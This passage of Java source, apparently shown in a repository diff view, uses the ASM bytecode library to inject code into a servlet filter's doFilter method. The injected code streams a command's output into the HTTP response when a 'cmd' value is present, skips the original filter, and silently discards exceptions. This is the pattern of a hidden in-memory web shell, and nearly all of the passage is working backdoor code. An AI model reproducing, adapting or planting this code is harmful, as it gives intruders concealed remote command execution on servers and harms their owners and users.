mv.visitInsn(Opcodes.ICONST_0);
|
||||||
|
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class");
|
||||||
|
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getMethod",
|
||||||
|
"(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false);
|
||||||
|
mv.visitVarInsn(Opcodes.ALOAD, 2); // Load response
|
||||||
|
mv.visitInsn(Opcodes.ICONST_0);
|
||||||
|
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
|
||||||
|
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method", "invoke",
|
||||||
|
"(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false);
|
||||||
|
mv.visitTypeInsn(Opcodes.CHECKCAST, "java/io/OutputStream");
|
||||||
|
mv.visitVarInsn(Opcodes.ASTORE, 7); // Store OutputStream in local var 7
|
||||||
|
|
||||||
|
// Create buffer: byte[] buf = new byte[8192];
|
||||||
|
mv.visitIntInsn(Opcodes.SIPUSH, 8192);
|
||||||
|
mv.visitIntInsn(Opcodes.NEWARRAY, Opcodes.T_BYTE);
|
||||||
|
mv.visitVarInsn(Opcodes.ASTORE, 8); // Store byte[] in local var 8
|
||||||
|
|
||||||
|
// While loop to read and write data
|
||||||
|
Label loopStart = new Label();
|
||||||
|
Label loopEnd = new Label();
|
||||||
|
|
||||||
|
// Start of loop
|
||||||
|
mv.visitLabel(loopStart);
|
||||||
|
|
||||||
|
// Read data: inputStream.read(buf)
|
||||||
|
mv.visitVarInsn(Opcodes.ALOAD, 6); // Load inputStream
|
||||||
|
mv.visitVarInsn(Opcodes.ALOAD, 8); // Load buffer
|
||||||
|
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/io/InputStream", "read",
|
||||||
|
"([B)I", false);
|
||||||
|
mv.visitVarInsn(Opcodes.ISTORE, 9); // Store length in local var 9
|
||||||
|
|
||||||
|
// Check if length == -1
|
||||||
|
mv.visitVarInsn(Opcodes.ILOAD, 9);
|
||||||
|
mv.visitInsn(Opcodes.ICONST_M1);
|
||||||
|
mv.visitJumpInsn(Opcodes.IF_ICMPEQ, loopEnd);
|
||||||
|
|
||||||
|
// Write data: outputStream.write(buf, 0, length)
|
||||||
|
mv.visitVarInsn(Opcodes.ALOAD, 7); // Load outputStream
|
||||||
|
mv.visitVarInsn(Opcodes.ALOAD, 8); // Load buffer
|
||||||
|
mv.visitInsn(Opcodes.ICONST_0);
|
||||||
|
mv.visitVarInsn(Opcodes.ILOAD, 9); // Load length
|
||||||
|
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/io/OutputStream", "write",
|
||||||
|
"([BII)V", false);
|
||||||
|
|
||||||
|
// Go back to start of loop
|
||||||
|
mv.visitJumpInsn(Opcodes.GOTO, loopStart);
|
||||||
|
|
||||||
|
// End of loop
|
||||||
|
mv.visitLabel(loopEnd);
|
||||||
|
|
||||||
|
// Return from the method without calling original doFilter
|
||||||
|
mv.visitInsn(Opcodes.RETURN);
|
||||||
|
|
||||||
|
// If cmd is null, continue with original method
|
||||||
|
mv.visitLabel(ifNullLabel);
|
||||||
|
|
||||||
|
// End of try block
|
||||||
|
mv.visitLabel(tryEnd);
|
||||||
|
|
||||||
|
// Skip catch block if we didn't enter it
|
||||||
|
Label afterCatch = new Label();
|
||||||
|
mv.visitJumpInsn(Opcodes.GOTO, afterCatch);
|
||||||
|
|
||||||
|
// Start of catch block
|
||||||
|
mv.visitLabel(catchHandler);
|
||||||
|
// The exception is now on the stack
|
||||||
|
mv.visitVarInsn(Opcodes.ASTORE, 10); // Store exception in local var 10 and discard it
|
||||||
|
|
||||||
|
// End of catch block
|
||||||
|
mv.visitLabel(afterCatch);
|
||||||
|
}
|
||||||
|
}
|
||||||
Reference in New Issue
Block a user